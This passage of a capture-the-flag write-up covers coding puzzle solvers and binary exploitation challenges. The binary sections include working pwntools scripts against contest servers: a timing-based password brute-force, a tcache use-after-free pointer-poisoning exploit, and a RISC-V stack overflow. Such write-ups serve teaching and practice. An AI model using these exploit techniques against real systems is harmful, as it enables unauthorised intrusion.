        cost = shortestPath(edges, cur_pos, order.dest)
        #print("Going to", target[2], "took", cost[0])
        deliver_time += cost[0]
        cur_pos = order.dest
        deliver = list(filter(lambda x : x.dest != order.dest, deliver))


    print("Total cost to take orders from shops:", pickup_time)
    print("Total cost to deliver orders:", deliver_time)
    res.append(pickup_time + deliver_time)
        #take_order_cost = 
    

print("".join(map(lambda x : str(x), res)))

This script prints 3408207516683816359623152253402327402070313120882049 as its last line, which is the password for the zip file.

Flag

{FLG:y0u_Are_7hE_B3S7_r1D3r_in_TH3_wOr1D!}

Coding-300

Description

GeometricGravity Quest

The battle is fierce. R-Boy uses all his wit to understand and counter Hexacode moves. After an exhausting duel filled with loops, conditions, and instructions, the young hacker manages to discover the way to exploits it and defeat Hexacode.

Solution

The problem itself is specified in the usage.md file.

This was just a matter of implementing the conditions exactly as specified. The last bug we had to fix was based on the following clarification:

Clarification for CODING300: the best placement for each piece is the one occupying the lowest-left position possible, so that the top of the piece is in the lowest row possible and the right side of the piece is in the leftmost column possible.

We were considering the position of the bottom of the. With this clarification, it means it can be advantageous to use up a rotate to get one of the non-square pieces laying on its side.

Final script:

import queue

shapes_up = {
    '+': [[0,1,0],[1,1,1],[0,1,0]],
    'o': [[0,1,0],[1,0,1],[1,0,1],[0,1,0]],
    'T': [[0,1,0],[0,1,0],[1,1,1]],
    'l': [[1,1],[1,0]],
    'z': [[1,1,1],[1,0,0],[0,1,0],[0,0,1],[1,1,1]],
    'c': [[1,1,1],[1,0,0],[1,1,1]],
}

shapes_right = {
    '+': [[0,1,0],[1,1,1],[0,1,0]],
    'o': [[0,1,1,0],[1,0,0,1],[0,1,1,0]],
    'T': [[0,0,1],[1,1,1],[0,0,1]],
    'l': [[1,0],[1,1]],
    'z': [[1,0,0,1,1],[1,0,1,0,1],[1,1,0,0,1]],
    'c': [[1,0,1],[1,0,1],[1,1,1]],
}

shapes_down = {
    '+': [[0,1,0],[1,1,1],[0,1,0]],
    'o': [[0,1,0],[1,0,1],[1,0,1],[0,1,0]],
    'T': [[1,1,1],[0,1,0],[0,1,0]],
    'l': [[0,1],[1,1]],
    'z': [[1,1,1],[1,0,0],[0,1,0],[0,0,1],[1,1,1]],
    'c': [[1,1,1],[0,0,1],[1,1,1]],
}

shapes_left = {
    '+': [[0,1,0],[1,1,1],[0,1,0]],
    'o': [[0,1,1,0],[1,0,0,1],[0,1,1,0]],
    'T': [[1,0,0],[1,1,1],[1,0,0]],
    'l': [[1,1],[0,1]],
    'z': [[1,0,0,1,1],[1,0,1,0,1],[1,1,0,0,1]],
    'c': [[1,1,1],[1,0,1],[1,0,1]],
}

shapes = [shapes_up, shapes_right, shapes_down, shapes_left]

# make 24*32 grid
grid = []
for i in range(32):
    grid.append([0]*24)

pieces = open('pieces.txt', 'r').read()

pieces = pieces.split('\n')

pieces = [piece.split(', ') for piece in pieces]

def does_fit(shape, grid, row, col):
    try:
        for i in range(len(shape)):
            for j in range(len(shape[0])):
                if shape[i][j] == 1 and grid[row+i][col+j] == 1:
                    return False
        return True
    except IndexError:
        return False
    
def print_grid():
    for row in grid:
        print("".join(map(str,row)))
    print()

def check_if_row_filled_and_shift_down(grid):
    removed = True
    while removed:
        removed = False
        for i in range(len(grid)):
            if sum(grid[i]) == len(grid[0]):
                print_grid()
                grid.pop(i)
                grid.insert(0, [0]*24)
                print_grid()
                removed = True


def try_placing_piece(piece, grid):
    for row in range(31, -1, -1):
        for col in range(24):
            rotation = int(piece[1])-1
            for _ in range(4):
                shape = shapes[rotation][piece[0]]
                shape = shape[::-1]
                if does_fit(shape, grid, row, col):
                    for k in range(len(shape)):
                        for l in range(len(shape[0])):
                            if shape[k][l] == 1:
                                grid[row+k][col+l] = 1
                    return True
                rotation = (rotation+1)%4
    return False


for i,p in enumerate(pieces):

    check_if_row_filled_and_shift_down(grid)

    if not try_placing_piece(p, grid):
        print("bruh")
        print(i,p)
        break

for row in grid:
    print(row)

matrix = open('matrix.txt', 'r').read()

matrix = matrix.split('\n')

for i,row in enumerate(grid):
    for j in range(len(row)):
        if row[j] == 0:
            print(matrix[i][j], end='')
print("")

Running this, the last line of output is TdQN'pC3x|\7x^9W_MfSz+CY\9?e+vRI[y'Mj|7bV37&gt;6[M;9Y@n-0Xuh]Iud2YJHp2!;!e9-XL33GYId^7N%,dRtjTsIP#dqe^Jlgn-4/]!z=k}TxrkpL6.l.9T~MLz/, which is the password for the zip file.

Flag

{FLG:Y0u_Pr0b4bLY_g0T_4Ll_A_@_ge0M3tRy_clasS3s}

Coding-200

Description

Honey for scarabs

Facing code storms and clashes with the Numbralisk, R-Boy manages to reach the Coding Palace. Here, he encounters Hexacode, an enigmatic entity composed of 6 perfect algorithms. Hexacode is the guardian of the fragment and has no intention of surrendering it easily.

Solution

The problem itself is specified in the usage.md file.

We ended up with a bruteforce solution that just tries to put every word on every position in all 3 directions and finds the one with the best score. As a bonus, if you install the hexalattice package and uncomment plt.show(), you will get a rendering of the best word it chose, looking like this:

The script only solves one level, so I ran it in a bash loop with using 7z for unzipping. The solver script:

from hexalattice.hexalattice import *
from collections import defaultdict, Counter
import matplotlib.pyplot as plt
import string
import sys

RIGHT = 0
DOWN_RIGHT = 1
UP_RIGHT = 2
LEFT = 3
DOWN_LEFT = 4
UP_LEFT = 5

OPPOSITE = {
    RIGHT: LEFT,
    LEFT: RIGHT,
    UP_RIGHT: DOWN_LEFT,
    DOWN_LEFT: UP_RIGHT,
    DOWN_RIGHT: UP_LEFT,
    UP_LEFT: DOWN_RIGHT
}

def is_left(dir):
    return dir >= 3


def is_right(dir):
    return dir < 3


PORTALS = {}
PORTALS_COORDS = {}
PORTAL_AFFECTS_DIRECTION = {
    "pr": RIGHT,
    "pl": LEFT,
    "pdr": DOWN_RIGHT,
    "pdl": DOWN_LEFT,
    "pur": UP_RIGHT,
    "pul": UP_LEFT,
}
PORTAL_MAPPINGS = {
    "pr": "pl",
    "pl": "pr",
    "pur": "pdl",
    "pdl": "pur",
    "pul": "pdr",
    "pdr": "pul",
}

N = -1


def valid(x, y):
    return x >= 0 and y >= 0 and x < N and y < N


class Node:
    def __init__(self, letter="-", bonus="-", x=0, y=0):
        self.letter = letter
        self.bonus = bonus
        self.neighbors = []
        self.x = x
        self.y = y

    def add_neighbor(self, neighbor):
        self.neighbors.append(neighbor)

    def safe_move(self, direction):
        x,y = self.move(direction)
        if not valid(x,y):
            return None
        return graph[(x,y)]

    def move(self, direction):
        is_portal = (self.x, self.y) in PORTALS_COORDS
        portal_type = PORTALS_COORDS[(self.x, self.y)] if is_portal else ""
        if is_portal == False or PORTAL_AFFECTS_DIRECTION[portal_type] != direction:
            if direction == RIGHT:
                return (self.x + 1, self.y)
            elif direction == DOWN_RIGHT:
                if self.y % 2 == 0:
                    return (self.x, self.y + 1)
                return (self.x + 1, self.y + 1)
            elif direction == UP_RIGHT:
                if self.y % 2 == 0:
                    return (self.x, self.y - 1)
                return (self.x + 1, self.y - 1)
            elif direction == LEFT:
                return (self.x - 1, self.y)
            elif direction == DOWN_LEFT:
                if self.y % 2 == 0:
                    return (self.x - 1, self.y + 1)
                return (self.x, self.y + 1)
            elif direction == UP_LEFT:
                if self.y % 2 == 0:
                    return (self.x - 1, self.y - 1)
                return (self.x, self.y - 1)

        return PORTALS[PORTAL_MAPPINGS[portal_type]]

    def get_neighbors(self):
        neighs = []
        for i in range(6):
            nx, ny = self.move(i)
            if valid(nx, ny):
                neighs.append(graph[(nx, ny)])
            else:
                neighs.append(None)
        return neighs

    def __repr__(self) -> str:
        if self.bonus != "-":
            return f"{self.letter}({self.bonus})"
        return self.letter


graph = defaultdict(Node)

dir_name = sys.argv[1]
BONUSES = f"{dir_name}/{dir_name}_bonuses.txt"
HAND = f"{dir_name}/{dir_name}_hand.txt"
LETTERS_DATA = f"{dir_name}/{dir_name}_letters.txt"

HAND_DATA = Counter(open(HAND, "r").read())

# Read grid for letters
letters_data = open(LETTERS_DATA, "r").read().strip().split("\n")
N = len(letters_data)

all_letters = []

for y in range(len(letters_data)):
    line = letters_data[y].split(" ")
    if line[0] == "":
        line = line[1:]
    for x in range(len(line)):
        graph[(x, y)].letter = line[x]
        all_letters.append(line[x])
        graph[(x, y)].x = x
        graph[(x, y)].y = y

hex_centers, h_ax = create_hex_grid(nx=N,
                                 ny=N,
                                 do_plot=True,
                                 rotate_deg=180)
#h_fig = plt.gcf()
tile_centers_x = hex_centers[:, 0]
tile_centers_y = hex_centers[:, 1]

#fig = plt.figure()
for i in range(len(tile_centers_x)):
    if all_letters[i] != '-':
        h_ax.text(tile_centers_x[i], tile_centers_y[i], all_letters[i], ha='center', va='center')

(a, b) =h_ax.get_xlim()
h_ax.set_xlim(b, a)


all_bonus = []

#plt.waitforbuttonpress()

# Read grid for bonuses
bonus_data = open(BONUSES, "r").read().strip().split("\n")
for y in range(len(bonus_data)):
    line = bonus_data[y].split(" ")
    if line[0] == "":
        line = line[1:]
    for x in range(len(line)):
        graph[(x, y)].bonus = line[x]
        all_bonus.append(line[x])
        if line[x].startswith("p"):
            PORTALS[line[x]] = (x, y)
            PORTALS_COORDS[(x, y)] = line[x]

for i in range(len(tile_centers_x)):
    if all_bonus[i] != '-':
        h_ax.text(tile_centers_x[i]-0.1, tile_centers_y[i]-0.1, all_bonus[i], ha='left', va='top', color='orange')

words = open("hexa_scrabble_vocabulary.txt", "r").read().split("\n")


SCORES = {}
for line in open("letter_points.txt", "r").read().strip().split("\n"):
    letter, score = line.split(" ")
    SCORES[letter] = int(score)

# Find all the letters already on the board
visited = set()

EXISTING_WORDS = set()

for y in range(N):
    for x in range(N):
        node = graph[(x, y)]
        if node.letter == "-":
            continue

        neighbors = list(node.get_neighbors())
        let_neigh = 0
        dir = None

        for i, n in enumerate(neighbors):
            if n == None or n.letter == "-":
                continue
            let_neigh += 1
            dir = i

        word = []
        if let_neigh == 1 and dir in [RIGHT, UP_RIGHT, DOWN_RIGHT]:
            while True:
                if node.letter == "-":
                    break
                word.append(node.letter)
                new_coords = node.move(dir)
                if not valid(new_coords[0], new_coords[1]):
                    break
                node = graph[new_coords]

        if word:
            EXISTING_WORDS.add("".join(word))

#print(EXISTING_WORDS)


def collect_word(start, dir):
    wrd = ''
    
    node = start
    while node is not None and node.letter != '-':
        wrd += node.letter
        node = node.safe_move(dir)

    dir = OPPOSITE[dir]
    node = start.safe_move(dir)
    while node is not None and node.letter != '-':
        wrd = node.letter + wrd
        node = node.safe_move(dir)


    return wrd

SOLUTIONS = []

max_score = 0
max_sols = []

if True:
    for word in words:
        if word in EXISTING_WORDS:
            continue
        for y in range(N):
            for x in range(N):
                
                for dir in [RIGHT, UP_RIGHT, DOWN_RIGHT]:
                    
                    score = 0
                    node = graph[(x, y)]
                    hand = Counter(HAND_DATA)
                    good = True
                    metAny = False
                    for index in range(len(word)):
                        
                        l = word[index]

                        if node is None:
                            good = False
                            break

                        if node.letter != "-":
                            metAny = True


                        if node.letter != "-" and node.letter != word[index]:
                            good = False
                            break



                        if node.letter == '-' and hand[word[index]] <= 0:
                            good = False
                            break
                        
                        if index == 0:  
                            neigh = node.safe_move(OPPOSITE[dir])
                            if neigh is not None and neigh.letter != '-':
                                good = False
                                break
                        
                        
                 
                        
                        for fuk in [RIGHT, UP_RIGHT, DOWN_RIGHT]:
                            if fuk == dir:
                                continue
                            neigh1 = node.safe_move(fuk)
                            neigh2 = node.safe_move(OPPOSITE[fuk])
                            if (neigh1 is not None and neigh1.letter != '-') or (neigh2 is not None and neigh2.letter != '-'):
                                if not collect_word(node, fuk) in EXISTING_WORDS:
                                    good=False
                                    break
                        


                        if not good:
                            break

                        if node.letter == '-':
                            hand[word[index]] -= 1

                        score += SCORES[l]
                        if node.bonus in ['dl', 'tl', 'dw', 'tw', 'm']:
                            if node.bonus == 'dl':
                                score += SCORES[l]
                            elif node.bonus == 'tl':
                                score += 2 * SCORES[l]
                            elif node.bonus == 'dw':
                                score *= 2
                            elif node.bonus == 'tw':
                                score *= 3
                            elif node.bonus == 'm':
                                score //= 2

                        node = node.safe_move(dir)

                    if good and node is not None and node.letter != '-':
                        good = False
                    
                    if good and metAny and score >= max_score:
                        if score > max_score:
                            max_sols = []
                        max_score = score
                        max_sols.append((word, x, y, dir))
                        print(score, word, y, x, dir, file=sys.stderr)



def get_score(start, i, word, dir):
    assert (valid(start[0], start[1]))

    score = 0
    node = graph[start]

    while i < len(word):
        l = word[i]
        
        score += SCORES[l]
        if node.bonus in ['dl', 'tl', 'dw', 'tw', 'm']:
            if node.bonus == 'dl':
                score += SCORES[l]
            elif node.bonus == 'tl':
                score += 2 * SCORES[l]
            elif node.bonus == 'dw':
                score *= 2
            elif node.bonus == 'tw':
                score *= 3
            elif node.bonus == 'm':
                score //= 2


        node = graph[node.move(dir)]

        i += 1

    return score


def plot_sol(start, i, word, dir):
    assert (valid(start[0], start[1]))

    score = 0
    node = graph[start]

    while i < len(word):
        l = word[i]
        ind = node.y*N+node.x
        h_ax.text(tile_centers_x[ind], tile_centers_y[ind], l, ha='center', va='center', c='green')

        node = graph[node.move(dir)]

        i += 1

if len(max_sols) > 0:
    max_sols.sort()
    print(max_sols, file=sys.stderr)
    (word, x, y, dir) = max_sols[0]
    assert (dir < 3)
    dname = {
        RIGHT: "right",
        DOWN_RIGHT: "down_right",
        UP_RIGHT: "up_right"
    }[dir]
    score = get_score((x,y), 0, word, dir)
    fmt = f'{word}_{x}{y}_{dname}_{score}'
    print(fmt)
    plot_sol((x,y), 0, word, dir)

#plt.show()

After solving 64 levels, we get the flag.

Flag

{FLG:eV3r_s3En_A_H0n3Yc0Mb_f0R_c0CkR0aCh3S?}

Coding-100

Description

NumOps enigma

Navigating the data ocean, R-Boy arrives in the Coding Realm: the journey begins. This submerged realm is a labyrinth of source code and complex algorithms, inhabited by shapeshifting creatures called Numbralisk. R-Boy knows that he will have to overcome these obstacles if he wants to obtain the first fragment.

Solution

We basically implement a solver using Z3 to solve for all the constraints:

from z3 import *
import pyzipper

def parse_input(input_str):
    lines = input_str.strip().split("\n")
    n = 5
    grid = [list(row.replace(" ", "").replace("\r", "")) for row in lines[:n]]
    ops = {}
    for line in lines[n+1:]:
        region, result, op = line.split()
        ops[region] = (int(result), op)
    return grid, ops

def sumdoku_solver(grid, ops):
    n = len(grid)
    # Define Z3 variables
    X = [[Int(f"x_{i}_{j}") for j in range(n)] for i in range(n)]
    
    # Constraints for rows and columns
    constraints = []
    for i in range(n):
        constraints.append(Distinct(X[i]))
        constraints.append(Distinct([X[j][i] for j in range(n)]))
        for j in range(n):
            constraints.append(And(1 <= X[i][j], X[i][j] <= n))
    
    # Constraints for each region
    for region, (result, op) in ops.items():
        print(op, grid)
        cells = [(i, j) for i in range(n) for j in range(n) if grid[i][j] == region]
        if op == "+":
            constraints.append(Sum([X[i][j] for i, j in cells]) == result)
        elif op == "*":
            constraints.append(Product([X[i][j] for i, j in cells]) == result)
        elif op == "-":
            a, b = cells
            constraints.append(Or(X[a[0]][a[1]] - X[b[0]][b[1]] == result, X[b[0]][b[1]] - X[a[0]][a[1]] == result))
        elif op == "/":
            a, b = cells

            constraints.append(Or(X[a[0]][a[1]] * result == X[b[0]][b[1]], X[b[0]][b[1]] * result == X[a[0]][a[1]]))
    
    # Solve
    s = Solver()
    s.add(constraints)
    if s.check() == sat:
        m = s.model()
        solution = [[m.evaluate(X[i][j]).as_long() for j in range(n)] for i in range(n)]
        return solution
    else:
        return None

def solve(grid_str):
    grid, ops = parse_input(grid_str)
    solution = sumdoku_solver(grid, ops)

    res = ""
    for row in solution:
        res += "".join(map(str, row))
    return res

import io

def unzip_in_memory(data, password = None):
    with io.BytesIO(data) as zip_buffer:
        with pyzipper.AESZipFile(zip_buffer) as zf:
            if password != None:
                zf.setpassword(password.encode())
            return {name: zf.read(name) for name in zf.namelist()}


with open("lvl_1.zip", "rb") as f:
    data = f.read()

grid_str = """
f f c d d
f f c c h
g f a h h
g f a a b
g e e a b

a 16 *
b 2 -
c 13 +
d 1 -
e 3 -
f 48 *
g 12 +
h 5 +
"""

while 1:
    res = solve(grid_str)
    result = unzip_in_memory(data, res)
    print(result.values())
    data, grid_str = result.values()
    grid_str = grid_str.decode()

Flag

{FLG:Y0u_4r3-0n-Th3-r19hT.p4tH_t0-tH3_c0D1n9.fR4gM3nT}

Binary-500

Description

The Fast and the Furious 0x780: heap drift

Having overcome the contraption, R-Boy feels compelled to intervene and save Iris. With the Bit Fragment in his possession, he is more determined than ever to continue his journey and save the Digital Realms from corruption and chaos. Without hesitation, R-Boy accepts the mission.

gamebox3.reply.it Port:31330

Solution

The first layer to the binary is that it simulates a fairly complicated CAN bus protocol. Hiding behind that is a more straightforward task:

There is a structure called ctx and it has a field (we call your_time). This field is initialized to one, however we need to change its value to something else so that 100/your_time &lt; 12.

We will gloss over the actual comminucation protocol and only look into the interesting parts - feel free to check the final script for implementations of the various leaks etc.

To get to functions manipulating the heap, we have to provide a password based on secret parameters. The check looks like this

  v24 = BYTE3(input);
  if ( v24 == (char)ackermann(LOBYTE(ctx->secret_vals[0]), (unsigned __int16)ctx->secret_vals[1])
    && (v25 = BYTE4(input),
        v25 == (char)ackermann(LOBYTE(ctx->secret_vals[2]), (unsigned __int16)ctx->secret_vals[3]))
    && (v26 = BYTE5(input),
        v26 == (char)ackermann(LOBYTE(ctx->secret_vals[4]), (unsigned __int16)ctx->secret_vals[5]))
    && (v27 = BYTE6(input),
        v27 == (char)ackermann(LOBYTE(ctx->secret_vals[6]), (unsigned __int16)ctx->secret_vals[7])) )
  { // [...]

As this checks the password one by one and does a pretty heavy calculation (the ackermann fucntion), we can just bruteforce the password byte by byte, checking how long the answer took. For example, we can bruteforce the first byte like so:

for i in range(256):
    start = time.time()
    #print("hello")
    r.send(build_pkt(0x780,  39, b"\x02" + bytes([i]) + b"\x01\x01\x01"))
    r.recv()
    
    print(i, time.time() - start)
114 0.0980372428894043
115 0.1100625991821289
116 0.11023831367492676
117 0.11053681373596191
118 0.1108546257019043
119 0.18300175666809082
120 0.11014938354492188
121 0.10965895652770996
122 0.11557459831237793
123 0.11427974700927734
124 0.11050629615783691

Checking 119 takes almost twice as long, so the first byte is 0x77. Like that we get the full password of \x77\x5D\x77\x7F.

After authenticating, we can reach the heap operations. The bug to exploit is a UAF of a tcache allocation, where buf1 doesn't get nulled after begin freed:

void __fastcall free_buf_0_and_1(ctxstruct *ctx)
{
  if ( ctx->buf0 )
  {
    free(ctx->buf0);
    ctx->buf0 = 0LL;
    free(ctx->buf1);
  }
}

By writing target ^ (buf1ptr &gt;&gt; 12) into buf1, and getting a new allocation, this allocation will point to our target. By setting the target to point to ctx->your_time, we can overwrite it and win! Full script:

from pwn import *
import time

#r = remote("127.0.0.1", 31337); pwd = b"\x01\x01\x01\x01"
r = remote("gamebox3.reply.it", 31330); pwd = b"\x77\x5D\x77\x7F"

def build_pkt(address, cmd, data):
    data = struct.pack(">H", cmd) + data
    return struct.pack(">I", address) + p32(len(data)) + data

def read_by_id(id):
    r.send(build_pkt(0x780,  34, b"\xB1" + bytes([id])))
    return r.recv()[12:]

def auth():
    r.send(build_pkt(0x780,  39, b"\x02" + pwd))
    r.recv()

# useful procs start here

def leak_ctx_ptr():
    return u64(read_by_id(0x88)[:8])


# len max 0x10
# pseudocode:
# if !buf0
#   buf0 = malloc(0x80)
#   buf1 = malloc(0x80)
# if arg == 1:
#   target = buf0
# elif arg == 2:
#   target = buf1
# else:
#   return
# memset(target, 0, 0x80)
# memcpy(target, data, datalen)
def alloc_and_fill(arg=0, data=b''):
    r.send(build_pkt(0x780,  49, b"\x01\x13\x37" + bytes([arg, len(data)]) + data))
    r.recv()

# note: buf0 must not be null
def leak_buf0_and_1_ptr():
    return struct.unpack("QQ", read_by_id(0x69)[:16])

# note: buf1 must not be null
def leak_buf1_and_2_ptr():
    return struct.unpack("QQ", read_by_id(0x6D)[:16])

# note: buf2 must not be null
def leak_buf2_data():
    return struct.unpack("QQ", read_by_id(0x43)[:16])

# return data from all 3 bufs and yourtime
def read_bufs():
    r.send(build_pkt(0x780,  49, b"\x03\x13\x37"))
    data = r.recv()[13:]
    buf0 = data[0:16]
    buf1 = data[16:32]
    buf2 = data[32:48]
    yourtime = data[48:56]
    return (buf0, buf1, buf2, yourtime)

# len max 0x10
# pseudocode:
# if arg == 1:
#   target = buf0
# elif arg == 2:
#   target = buf1
# elif arg == 3:
#   target = buf2
# else:
#   return
# memcpy(target, data, datalen)
def fill_buffer(arg, data=b''):
    r.send(build_pkt(0x780,  49, b"\x01\x54\x41" + bytes([arg, len(data)]) + data))
    r.recv()

# UAFs
# pseudocode:
# if buf0 == null:
#   return
# free(buf0)
# buf0 = null
# free(buf1)
def free_buf0_and_1():
    r.send(build_pkt(0x780,  49, b"\x01\x66\x66"))
    r.recv()

def dump_full_state():
    print("ctx:       ", hex(leak_ctx_ptr()))
    buf0 = leak_buf0_and_1_ptr()[0]
    print("ctx->buf0: ", hex(buf0))
    (buf1, buf2) = leak_buf1_and_2_ptr()
    print("ctx->buf1: ", hex(buf1))
    if buf1 != 0:
        print("ctx->buf2: ", hex(buf2))
    else:
        print("ctx->buf2: ", "unknown")

    (buf0data, buf1data, buf2data, yourtime) = read_bufs()

    if buf0 != 0:
        print("*ctx->buf0: ", buf0data, list(map(lambda x : hex(x), struct.unpack("QQ", buf0data))))
    if buf1 != 0:
        print("*ctx->buf1: ", buf1data, list(map(lambda x : hex(x), struct.unpack("QQ", buf1data))))
    if buf2 != 0:
        print("*ctx->buf2: ", buf2data, list(map(lambda x : hex(x), struct.unpack("QQ", buf2data))))
    print()
        
r.sendlineafter(b"#>", b"_g1g1_pr013771l3_")
r.sendlineafter(b">", b"1")
r.recv()



ctx_ptr = leak_ctx_ptr()
print(hex(ctx_ptr))
auth()

alloc_and_fill()
(buf0orig, _) = leak_buf0_and_1_ptr()

dump_full_state()
free_buf0_and_1()
(buf1ptr, _) = leak_buf1_and_2_ptr()
(buf0data, buf1data, buf2data, yourtime) = read_bufs()
hmm = struct.unpack("QQ", buf1data)[0]
#print("hmm", hex(hmm ^ (buf1ptr >> 12)))
target = ctx_ptr + 0x20

fill_buffer(2, p64(target ^ (buf1ptr >> 12)))
dump_full_state()
print("targeting", hex(target))
alloc_and_fill()
dump_full_state()
fill_buffer(2, p64(9))

r.sendline(b"e")
r.sendlineafter(b">", b"2")

r.interactive()
[+] Opening connection to gamebox3.reply.it on port 31330: Done
0x7ffd3b69e3d0
ctx:        0x7ffd3b69e3d0
ctx->buf0:  0x55c587b07a00
ctx->buf1:  0x55c587b07a90
ctx->buf2:  0x0
*ctx->buf0:  b'\xe0\xe2\x1dz[\x7f\x00\x00\xe0\xe2\x1dz[\x7f\x00\x00' ['0x7f5b7a1de2e0', '0x7f5b7a1de2e0']
*ctx->buf1:  b'\xc0\xdc\x1dz[\x7f\x00\x00\xc0\xdc\x1dz[\x7f\x00\x00' ['0x7f5b7a1ddcc0', '0x7f5b7a1ddcc0']

ctx:        0x7ffd3b69e3d0
ctx->buf0:  0x0
ctx->buf1:  0x55c587b07a90
ctx->buf2:  0x0
*ctx->buf1:  b'\xf7\x981g\xf8\x7f\x00\x00$RHw\xf9\xe1\x1d@' ['0x7ff8673198f7', '0x401de1f977485224']

targeting 0x7ffd3b69e3f0
ctx:        0x7ffd3b69e3d0
ctx->buf0:  0x55c587b07a90
ctx->buf1:  0x7ffd3b69e3f0
ctx->buf2:  0x0
*ctx->buf0:  b'\xf7\x981g\xf8\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ['0x7ff8673198f7', '0x0']
*ctx->buf1:  b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ['0x1', '0x0']

[*] Switching to interactive mode
 {FLG:livinlavida1/4mileatatime}

[*] Got EOF while reading in interactive

Flag

{FLG:livinlavida1/4mileatatime}

Binary-400

Description

Grafted Machine

R-Boy manages to prevail, and at the end of the battle, Firewall reveals that the Crypto Realm has fallen under the evil control of Craken, a digital tyrant who has imprisoned the rightful ruler and his great love, Iris. Before continuing to retrieve the Bit Fragment, he will have to fight once more. In front of him stands a monstrous contraption, like a trophy built from the finest components salvaged from those defeated by Firewall. It will be tough to gain access to it.

gamebox3.reply.it Port:31332

Solution

The biggest trick of this binary is that it contains code from 3 different architectures: x86, arm and RISCV. Otherwise, the code is pretty straightforward.

X86 part:

buf = (_BYTE *)alloc(32);
puts("Are you my master?\n");
read_answer(buf, 0x20);
if ( strcmp(buf, "Yes") )
{
    isMaster = 0xFF;
} else if (strcmp(buf, "No"))
{
    isMaster = 0xEE;
}

puts("Who are you?\n");
return read_answer(buf, 32);

ARM part:

puts((int)"What's the secret password then?\n");
read_answer((int)buf, 17);
if ( strlen(buf) != 16 || !(result = check_pwd(buf)) || isMaster != 0xEE )
{
    puts((int)"Lowly Pwner... thou'rt unfit even to graft.\n");
    exit(1);
}

Where check_pwd is

bool __fastcall check_pwd(_WORD *buf)
{
  return *buf % 0x539u == 13
      && buf[1] % 0x539u == 14
      && buf[2] % 0x539u == 10
      && buf[3] % 0x539u == 13
      && buf[4] % 0x539u == 1
      && buf[5] % 0x539u == 14
      && buf[6] % 0x539u == 10
      && buf[7] % 0x539u == 15;
}

We can get a working password by picking any combination from the output of the following script:

import struct
import string

targets = {}

for a in string.printable:
    for b in string.printable:
        #print((a+b).encode())
        val = struct.unpack(">H", (a+b).encode())[0] % 0x539
        if not val in targets:
            targets[val] = []
        targets[val].append(a+b)

lst = [13, 14, 10, 13, 1, 14, 10, 15]
for i in lst:
    print(i, targets[i])

We pick G4H4D4G4uhH4D4I4.

After that, only the RISCV part left:

void youwin()
{
  char winMsg [32] = "You win\n";
  char buf[20];
  
  puts(winMsg);
  read_answer(0,buf,0x19);
  return;
}

void die()
{
  exit(1);
}

// the main code
char *args [2];
char arg [8];
char bin [12];

youwin();
die();
bin = "/bin/cat";
arg = "flag";
args[0] = bin + 5;
args[1] = arg;
system(bin,args,0);
return;

The binary exits from die without getting to the part where it prints the flag. Luckily, there's a stack BOF in youwin, as it reads 25 chars into a 20 chracter buffer. On the 32bit RISCV, this is enough to overwrite the 4 byte saved stack pointer and one byte of the return address. By overwriting it with 0x2C, we jump after the die call and get the flag. Final solver script:

from pwn import *

r = remote("gamebox3.reply.it", 31332)
r.sendlineafter(b"master?", b"No")
r.sendlineafter(b"are you?",  b"huh")
r.sendafter(b"then?", b"G4H4D4G4uhH4D4I4".ljust(17, b"\x00"))
r.sendafter(b"You win", b"C"*24+b"\x2c")
r.interactive()

Flag

{FLG:Y0u_h4v3_m4st3r3d_th3_mult14rch_m4ch1n3}

Binary-300

Description

The Quizzone

Firewall, recognizing R-Boy's skills, proves to be a noble adversary. The battle is incredibly tough, and at times, R-Boy appears to be struggling, bewildered by the psychic barriers that stand before him.

gamebox3.reply.it Port:31331

Solution

We get a client for the server, which plays a QUIZ game. The client always gets a question number from the server, loads it locally, asks for the answer and submits it to the server. If it was correct, the server replies with a letter:

Hi stranger, prove me your identity...
#>
[ 0x0975 ] QUESTION
    In construction, steel rods that are used to reinforce concrete are called what?
    A) Rebars
    B) Rebuses
    C) Rebukes

#### > A
[ Congratulations, you won a <b>! ]
[ 0x0811 ] QUESTION
    Which plant is considered customary in an English royal wedding bouquet?
    A) Myrtle
    B) Baby’s-breath
    C) Roses

After answering 3272 questions correctly, a packet containing \x02\x00\x00\x00 can be sent to retrieve the (encrypted) flag.

As the order of the questions (and answers) is always the same, we can get all the correct answers by trying every option for all questions - we simply answer all questions with A and note which were correct, then do the same for B etc.

One last thing to note is that to get the key, we must collect all the won letters and put them in an array based on the question number - so from the first question we know key[0x0975]='b'.

We implemented our own client based on watching the protocol in WireShark:

from pwn import *


#result = ['_'] * 80
